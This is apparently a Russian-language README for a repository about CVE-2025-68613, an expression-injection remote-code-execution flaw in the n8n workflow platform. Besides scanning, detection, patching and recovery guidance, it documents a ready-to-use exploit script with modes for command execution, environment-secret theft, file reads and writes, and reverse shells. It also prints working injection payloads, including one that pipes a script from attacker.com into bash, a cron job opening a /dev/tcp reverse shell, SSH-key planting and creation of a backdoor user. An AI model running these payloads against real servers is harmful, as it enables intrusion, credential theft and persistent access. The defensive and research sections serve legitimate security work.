##
# 🚨 CVE-2025-68613: Критическая RCE-уязвимость в n8n
** , обнаруженная в **n8n** , популярной платформе автоматизации рабочих процессов с открытым исходным кодом. Эта уязвимость позволяет аутентифицированным пользователям выполнять произвольный код на сервере, что потенциально может привести к полной компрометации системы.
* **Оценка CVSS** : 9.9 - 10.0 (Critical)
* **Тип уязвимости** : Инъекция выражений → удалённое выполнение кода
* **CWE** : CWE-913 (Improper Control of Dynamically-Managed Code Resources)
* **Требуется аутентификация** : Да (низкие привилегии — доступ администратора не требуется) |- **Статус** : Доступен PoC (подтверждено на v1.121.0)
**n8n** — это платформа автоматизации рабочих процессов с открытым исходным кодом, которая позволяет пользователям:
* Подключать различные API, базы данных и сервисы
* Автоматизировать повторяющиеся бизнес-процессы
* Создавать сложные рабочие процессы без глубоких знаний программирования
* Разворачивать локально (on-premises) или в облаке
### Почему n8n — критическая инфраструктура
* Интеграции баз данных с облачными сервисами
* Автоматизации конвейеров обработки данных
* Подключения CRM, ERP и внутренних систем
* Управления конфиденциальными данными и учётными данными API
Такая центральная роль в ИТ-инфраструктуре делает уязвимости особенно опасными, поскольку они могут предоставить злоумышленникам доступ к целым сетям и конфиденциальным данным.
Этот репозиторий содержит готовые к использованию инструменты для обнаружения уязвимости и проверки эксплуатации:
### 1\. Сканер: `cve-2025-68613-scanner.py`
**Назначение** : безопасное обнаружение уязвимых экземпляров n8n без эксплуатации
* Пассивное определение версии по HTTP-ответам
* Проверяет несколько распространённых путей (/, /rest/settings, /healthz, /api/v1/health)
* Безопасен для авторизованных оценок безопасности
**Использование** :```bash python3 cve-2025-68613-scanner.py -u
- Код выхода 1: версия не определена (возможно, исправлена или скрыта)
- Код выхода 2: обнаружена уязвимая версия
### 2. Шаблон Nuclei: `CVE-2025-68613.yaml`
**Назначение**: автоматическое обнаружение уязвимостей и базовое тестирование вычисления выражений
- Требуется действительный токен аутентификации
- Проверяет возможность внедрения выражений
- Пытается прочитать глобальный контекст Node.js (process.platform)
- Создаёт тестовые сценарии для проверки вектора RCE
- Классификация уровня критичности: CVSS 10.0 Critical
nuclei -t CVE-2025-68613.yaml -u -v
nuclei -t CVE-2025-68613.yaml -l targets.txt
### 3\. Полный эксплойт: `exploit_cve-2025-68613.py`
**Назначение** : Полноценный эксплойт proof-of-concept с несколькими атакующими пейлоадами
* **info** : Сбор информации о системе (ОС, архитектура, версия Node.js, текущий пользователь)
* **cmd** : Выполнение произвольных системных команд
* **env** : Извлечение всех переменных окружения (раскрывает учётные данные, API-ключи, секреты)
* **read** : Чтение конфиденциальных файлов из файловой системы (SSH-ключи, конфигурационные файлы и т.д.)
* **write** : Запись файлов в файловую систему (закрепление, бэкдоры и т.д.)
* **revshell** : Установка reverse shell-соединения для интерактивного доступа
* Действительные учётные данные пользователя n8n (email/пароль)
**Установка** :```bash pip install requests chmod +x exploit_cve-2025-68613.py
python3 exploit_cve-2025-68613.py -u \
-e [email protected] -p password --payload info
python3 exploit_cve-2025-68613.py -u \
-e [email protected] -p password --payload cmd --command "whoami"
# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u \
-e [email protected] -p password --payload env
python3 exploit_cve-2025-68613.py -u \
-e [email protected] -p password --payload read --file "/etc/passwd"
# Establish reverse shell (requires netcat listener)
python3 exploit_cve-2025-68613.py -u \
-e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444
python3 exploit_cve-2025-68613.py -u \
-e [email protected] -p password --payload write \
--file "/tmp/shell.php" --content ' '
1. Выполняет аутентификацию в n8n, используя предоставленные учетные данные
2. Создает вредоносный рабочий процесс с полезной нагрузкой инъекции выражений
3. Полезная нагрузка выходит из песочницы выражений с помощью `this.constructor.constructor()`
4. Выполняет полезную нагрузку через `process.platform` или другие Node.js API
5. Получает результаты выполнения рабочего процесса
6. Выполняет очистку, удаляя тестовый рабочий процесс
* 1: Не удалась аутентификация или эксплуатация
Простыми словами: **n8n позволяет пользователям писать выражения в рабочих процессах для динамической обработки данных. Однако эти выражения выполняются без надлежащей песочницы, что позволяет злоумышленникам выйти за пределы предполагаемого контекста выполнения и запускать произвольный код на сервере.**
Когда вы создаете рабочий процесс в n8n, вы можете использовать «выражения» для манипуляции данными. Предполагается, что эти выражения выполняются в ограниченной среде. Однако уязвимость показывает, что эти выражения могут получить доступ к базовой системе, что позволяет злоумышленнику:
3. Похищать переменные окружения (ключи API, пароли, секреты)
5. Закрепляться в системе для долгосрочного доступа
* **Низкий порог входа** : требуется только вход пользователя (без специальных привилегий администратора)
* **Широкая применимость** : многие организации позволяют нетехническим пользователям создавать рабочие процессы
* **Высокое воздействие** : выполняется с полными привилегиями процесса n8n
* **Доступ к данным** : может получить доступ ко всем данным, к которым имеет доступ n8n (базы данных, API, учетные данные)
* **Сетевое положение** : n8n часто находится в центре критической инфраструктуры, что обеспечивает горизонтальное перемещение
#### Шаг 1: Вычисление выражений рабочего процесса
Когда пользователь создает рабочий процесс в n8n, он может использовать выражения для обработки данных:``` Input: User creates a workflow with an expression n8n Expression Engine: Evaluates the expression Expected Output: Processed data Actual Output (Vulnerable): Expression execution context not isolated from runtime
Злоумышленник создает вредоносное выражение, которое выходит за пределы предполагаемой песочницы:```javascript
// Example: Malicious expression in workflow
${require('child_process').execSync('id')}
Выражение вычисляется без надлежащей изоляции, что позволяет атакующему:
Уязвимость возникает из-за **недостаточной песочницы** в движке вычисления выражений. Команда n8n вычисляла выражения в контексте, который:
* Разрешал доступ к `require()` или аналогичным функциям загрузки модулей
* Не ограничивал должным образом доступ к системным API
* Не проверял и не фильтровал синтаксис выражений
* Не предотвращал атаки через загрязнение прототипа
* Не изолировал среду выполнения от базовой среды выполнения Node.js
User Input (Workflow Expression) ↓ Expression Parser ↓ Evaluation Engine (VULNERABLE - Not Sandboxed) ↓ Direct Access to Node.js Runtime ↓ System Command Execution / File Access / Credential Theft
Все версии n8n, начиная с **0.211.0** и до следующих версий, уязвимы:
- ✅ `1.120.4` и более поздних в ветке 1.120.x
- ✅ `1.121.1` и более поздних в ветке 1.121.x
curl | grep -i "version"
* **n8n v1.121.0** : ✅ Полностью эксплуатируема (подтверждённое RCE, внедрение выражений работает)
* **n8n v0.211.0 - v1.120.3** : ✅ В пределах уязвимого диапазона по данным NVD (не тестировалось индивидуально)
* **Ограничение выполнения REST** : Эндпоинт `/rest/workflows/{id}/run` возвращает ошибку HTTP 500 в v1.121.0
* **Обходной путь** : Внедрение выражений работает отлично, RCE подтверждено через:
1. Ручной клик по кнопке «Test Step» в интерфейсе (доказано, что работает)
* **Это ограничение API, а не ошибка эксплойта**
* **n8n v0.212.0+** : Вне документированного диапазона уязвимости, вероятно, исправлено (см. GitHub issue #1)
* **Развёртывания на Windows Server** : Ограниченные данные тестирования в средах, специфичных для Windows
Эксплойт предназначен для работы против уязвимого диапазона, задокументированного в NVD:
* **Подтверждённая уязвимость** : 0.211.0 – 1.120.3, а также 1.121.0
* **Исправленные версии** : 1.120.4, 1.121.1, 1.122.0 и более поздние
При тестировании версий вне этого диапазона успех не гарантирован.
Когда аутентифицированный пользователь (или атакующий с действующими учётными данными) эксплуатирует эту уязвимость, он может:
#### 1\. Выполнять произвольные системные команды```javascript
${require('child_process').execSync('whoami').toString()} // Returns: root (or whatever user runs n8n)
${require('child_process').execSync('curl attacker.com/shell.sh | bash').toString()} // Downloads and executes a shell script
#### 2. Чтение файлов с сервера```javascript
${require('fs').readFileSync('/etc/passwd', 'utf-8')}
${require('fs').readFileSync('/ /user/.ssh/id_rsa', 'utf-8')}
#### 3\. Чтение переменных окружения```javascript
${Object.keys(process.env).join(', ')} // Lists all environment variables
${process.env.DATABASE_PASSWORD} // Extracts specific secrets
#### 4. Запись вредоносных файлов```javascript
${require('fs').writeFileSync('/var/www/shell.php', 'malicious code')}
${require('fs').writeFileSync('/ /user/.ssh/authorized_keys', 'attacker_key')}
#### 5\. Доступ к подключенным сервисам```javascript
// Access workflow credentials (stored API keys, passwords) // Modify or view connected databases // Exfiltrate data from all integrated systems
#### 6. Закрепление в системе```javascript
${require('child_process').execSync('echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/443 0>&1" | crontab -')}
// Creates a cron job for reverse shell access
${require('child_process').execSync('useradd -m -s /bin/bash attacker')}
**Реальный сценарий: компания использует n8n**
1. **Злоумышленник получает учетные данные** : через фишинг, повторное использование паролей или слабый пароль
2. **Входит в n8n** : использует легитимную учетную запись пользователя
3. **Создает «безвредный» рабочий процесс** : утверждает, что он нужен для обработки данных
4. **Внедряет вредоносное выражение** : прячет эксплойт в шаге рабочего процесса
5. **Выполняет код** : запускает команды с привилегиями процесса n8n
6. **Похищает данные** : крадет ключи API, учетные данные базы данных, данные клиентов
7. **Обеспечивает устойчивость** : устанавливает бэкдоры, создает новые учетные записи администратора
8. **Перемещается латерально** : использует украденные учетные данные для доступа к другим системам
### Влияние на конфиденциальность (ВЫСОКОЕ)
* Доступ к конфиденциальным данным, обрабатываемым рабочими процессами
* Извлечение ключей API, паролей баз данных, ключей шифрования
* Чтение файлов конфигурации, журналов и секретов
* Возможные нарушения GDPR/комплаенса из-за кражи данных
* Изменение существующих рабочих процессов для саботажа операций
* Внедрение вредоносных рабочих процессов, повреждающих данные
* Изменение выходных данных рабочих процессов, влияющее на последующие системы
* Установка бэкдоров для постоянного доступа
* Удаление критически важных рабочих процессов, вызывающее нарушение бизнес-процессов
* Изменение системных файлов, приводящее к сбоям сервисов
* Истощение ресурсов из-за вредоносной автоматизации
* Атаки с выкупом, когда злоумышленники требуют оплату за восстановление систем
* n8n автоматизирует обработку заказов и управление запасами
* Злоумышленник похищает заказы клиентов и информацию о поставщиках
* Изменяет рабочие процессы, чтобы отправлять клиентам не те товары
* Результаты: потеря доверия клиентов, юридическая ответственность, нарушение операционной деятельности
* n8n интегрирует банковские API и обработку платежей
* Злоумышленник крадет учетные данные API и токены аутентификации
* Перенаправляет транзакции или создает мошеннические записи
* Результаты: регуляторные штрафы, компенсация клиентам, ущерб репутации
* n8n обрабатывает интеграцию данных пациентов и отчетность
* Злоумышленник получает доступ к защищенной медицинской информации (PHI)
* Изменяет медицинские записи или блокирует критические оповещения
* Результаты: нарушения HIPAA, вред пациентам, ответственность организации
**Безопасный, не эксплуатирующий уязвимость скрипт обнаружения** (включен в исходный репозиторий):```bash python3 CVE-2025-68613.py -u
Target version is affected by CVE-2025-68613
### Метод 2: Использование шаблона Nuclei
**Автоматическое сканирование с помощью Nuclei** :```bash
nuclei -t CVE-2025-68613.yaml -u
nuclei -t CVE-2025-68613.yaml -l targets.txt
1. Отправляет HTTP-запросы к стандартным путям n8n
2. Извлекает метаданные версии из HTML/заголовков
3. Декодирует base64-кодированный конфиг, если он присутствует
4. Сравнивает версию с уязвимыми диапазонами
### Метод 3: Ручное получение баннера```bash
curl -s | grep -i "n8n"
curl -I | grep -i "n8n"
nmap -p 5678 --script http-favicon target.com
- Необычные вычисления выражений в журналах рабочих процессов
- Ошибки выражений, содержащие системные команды
- Доступ к чувствительным файлам (например, ссылки на /etc/passwd)
- Неожиданный запуск процессов из процесса n8n
- Создание новых учетных записей пользователей на сервере
- Неожиданные SSH-ключи в authorized_keys
- Новые задачи cron или запланированные задачи
### ОСНОВНОЕ РЕШЕНИЕ: немедленное обновление
**Это единственное полное исправление уязвимости.**
#### Шаг 1: Создайте резервную копию данных```bash
**Использование Docker** (рекомендуется):```bash
**Использование системного менеджера пакетов** :```bash
wget
curl | grep version
curl | grep -i "n8n"
**Важно** : Это НЕ устраняет уязвимость. Используйте только как временные меры при планировании обновлений.
#### 1\. Ограничьте разрешения рабочих процессов```
n8n Admin Panel → Users & Permissions ├── Disable "User Can Create Workflows" for non-admin users ├── Restrict "User Can Edit Workflows" to trusted administrators only ├── Review existing user roles and remove unnecessary permissions └── Audit workflow creators for suspicious accounts
#### 2. Мониторинг изменений рабочего процесса```
├── Monitor for suspicious workflow modifications
├── Alert on expression evaluations in logs
└── Review workflow change history regularly
sudo ufw default deny incoming sudo ufw allow from 192.168.1.0/24 to any port 5678 # Only internal network sudo ufw enable
sudo iptables -A INPUT -p tcp --dport 5678 -s 192.168.1.0/24 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 5678 -j DROP
#### 4. Запустите n8n с минимальными привилегиями```bash
#### 5\. Включите строгую аутентификацию```
n8n Admin Panel → Settings → Authentication ├── Enable 2FA for all accounts ├── Enforce strong password policies ├── Review and disable unnecessary service accounts ├── Implement SSO if available └── Disable any guest/demo accounts
#### 6. Контейнеризация и изоляция```bash
# Run n8n in a restricted Docker container
ps aux | grep n8n netstat -tlnp | grep n8n
| Сценарий | Уровень риска | Вероятность | Влияние | Приоритет |
|----------|-----------|-----------|--------|----------|
| Необновлённый n8n, доступный из интернета | КРИТИЧЕСКИЙ | ВЫСОКАЯ | Полная компрометация | 🔴 СРОЧНО |
| Необновлённый n8n, только для внутреннего использования | ВЫСОКИЙ | СРЕДНЯЯ | Риск инсайдерской угрозы | 🟠 ВЫСОКИЙ |
| Обновлённый n8n | НИЗКИЙ | НИЗКАЯ | Н/Д | ✅ Устранено |
| Необновлённый n8n с ограничениями прав | СРЕДНИЙ | СРЕДНЯЯ | Ограничено доверенными пользователями | 🟡 СРЕДНИЙ |
## Пошаговое восстановление при компрометации
1. **Изолируйте систему**: Отключите от сети
2. **Остановите службу**: `sudo systemctl stop n8n`
3. **Сохраните журналы**: Сделайте резервную копию всех журналов перед очисткой
4. **Оповестите команду**: Уведомите службу безопасности и руководство
5. **Оцените масштаб**: Определите, к каким данным n8n имел доступ
1. **Просмотрите журналы аудита**: Проверьте подозрительную активность
2. **Проанализируйте сетевой трафик**: Поищите признаки утечки данных
3. **Проверьте изменения файлов**: Найдите внедрённые бэкдоры
4. **Проверьте учётные записи**: Поищите новые или изменённые учётные записи
5. **Аудит учётных данных**: Сбросьте все API-ключи и пароли, используемые n8n
1. **Полная пересборка системы**: Не просто обновляйте, а пересоберите из чистого образа
2. **Ротация учётных данных**: Сбросьте все пароли, API-ключи и токены
3. **Установите все исправления**: Обновите все подключённые системы
4. **Восстановите из резервной копии**: Используйте чистые резервные копии, созданные до компрометации
5. **Аудит безопасности**: Проведите полную оценку безопасности
1. **Внедрите мониторинг**: Настройте непрерывное журналирование и оповещение
2. **Изменение процессов**: Обновите процедуры реагирования на инциденты
3. **Обучение пользователей**: Обучите команды лучшим практикам безопасности
4. **Сканирование уязвимостей**: Регулярное сканирование на аналогичные проблемы
5. **Проверка соответствия**: Убедитесь, что все требования соблюдены (GDPR, HIPAA и т. д.)
1. **Поддерживайте n8n в актуальном состоянии**
- Включите автоматические обновления, если они доступны
- Подпишитесь на уведомления безопасности n8n
- Тестируйте исправления в staging перед продом
- Используйте принцип минимальных привилегий
- Внедрите SSO для корпоративного развёртывания
- Проверяйте все рабочие процессы на подозрительную логику
- Внедрите процесс ревью кода для рабочих процессов
- Используйте соглашения об именовании для выявления критических рабочих процессов
- Регулярно создавайте резервные копии рабочих процессов
- Никогда не храните учётные данные в рабочих процессах
- Используйте переменные окружения для чувствительных данных
- Настройте оповещения о подозрительных операциях
- Запускайте n8n в изолированных сетевых сегментах
- Ограничьте сетевой доступ только необходимыми службами
- Используйте VPN/межсетевой экран для удалённого доступа
- Отслеживайте сетевой трафик на аномалии
- Создайте план реагирования на инциденты
- Проводите регулярные учения по безопасности
- Поддерживайте актуальные списки контактов
### Проблема: "Exit code 1: Authentication or exploitation failed"
1. **Неверные учётные данные** (наиболее частая причина)
- Решение: Сначала проверьте, что учётные данные работают для входа в веб-интерфейс
- Попробуйте: `curl -X POST -d '{"emailOrLdapLoginId":"[email protected]","password":"pass"}'`
2. **У пользователя нет прав на создание рабочих процессов**
- Решение: Используйте учётную запись администратора или пользователя с правами на создание рабочих процессов
- Проверка: Откройте админ-панель → Пользователи и разрешения
3. **Версия обновлена** (версия > 1.121.0)
- Решение: Сначала используйте сканер для проверки версии: `python3 cve-2025-68613-scanner.py -u
- Ожидается: Сканер должен сообщить "Vulnerable" (код выхода 2)
4. **Структура API изменилась** (более старые/новые версии могут отличаться)
- Решение: Проверьте бюллетень NVD:
- Наиболее вероятно, если тестируются версии вне документированного диапазона
5. **Блокировка сетью/межсетевым экраном**
- Решение: Проверьте связь: `curl
- Проверьте: Правила межсетевого экрана, настройки прокси, SSL-сертификаты
### Проблема: Сканер сообщает о ложных срабатываниях (неверное определение версии)
**Исправлено в v1.02**: Сканер теперь использует декодированную из base64 конфигурацию Sentry из мета-тегов вместо простого регулярного выражения. Это устраняет ложные срабатывания, когда версия Node.js определялась как версия n8n.
- Основной источник: Извлечение и декодирование ` `
- Запасной вариант: Использование регулярного выражения, только если конфигурация Sentry недоступна
- Результат: Точное определение версии без ложных срабатываний
**Для использования сканера v1.02**:```bash
python3 cve-2025-68613-scanner.py -u
### Проблема: выполнение REST возвращает ошибку 500
**Это НЕ ошибка в эксплойте — это ограничение API.**
* Эндпоинт `/rest/workflows/{id}/run` возвращает HTTP 500 в n8n v1.121.0
* Это ограничение дизайна API n8n, а не ошибка эксплойта
* Внедрение выражений ПО-ПРЕЖНЕМУ РАБОТАЕТ через UI
1. Эксплойт создаёт рабочий процесс с вредоносным выражением ✅ Работает
2. Выражение вычисляется и выполняет код ✅ Работает (подтверждено ручным тестированием)
3. Вручную нажмите кнопку «Test Step» в интерфейсе, чтобы запустить выражение ✅ Работает
4. Читайте вывод из результатов рабочего процесса ✅ Работает
**Доказательство** : Получен флаг на TryHackMe: `THM{n8n_exposed_workflow}`
* **Репозиторий n8n на GitHub** :
* **Рекомендации по безопасности n8n** :
* **Документация n8n** :
* **Запись NVD** :
* **CVEDetails** :
* **CVETodo** :
* **NIST CWE-913** :
* **OWASP Внедрение кода** :
* **OWASP Обход песочницы** :
**CVE-2025-68613** — это критическая уязвимость, требующая немедленных действий. Сочетание:
* Широкая поверхность атаки (многие пользователи создают рабочие процессы)
* Центральное положение в ИТ-инфраструктуре
...что делает эту уязвимость одной из самых опасных в платформах автоматизации рабочих процессов.
**Простое решение** : немедленно обновитесь до исправленной версии. Нет оправдания оставаться уязвимым к критическому RCE, когда доступны исправления.
|- **Версия** : 1.02 |- **Дата создания** : 18 декабря 2025 г. |- **Последнее обновление** : 26 декабря 2025 г.
* **Автор** : The StingR / TechSquad Inc.
Этот документ предоставлен только в образовательных целях и для авторизованных оценок безопасности. Несанкционированный доступ к компьютерным системам является незаконным. Всегда убедитесь, что у вас есть надлежащее разрешение, прежде чем тестировать, оценивать или получать доступ к системам, которые вам не принадлежат.
**⚠️ ПОМНИТЕ: Немедленно обновите свои экземпляры n8n, если вы используете уязвимые версии.**
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
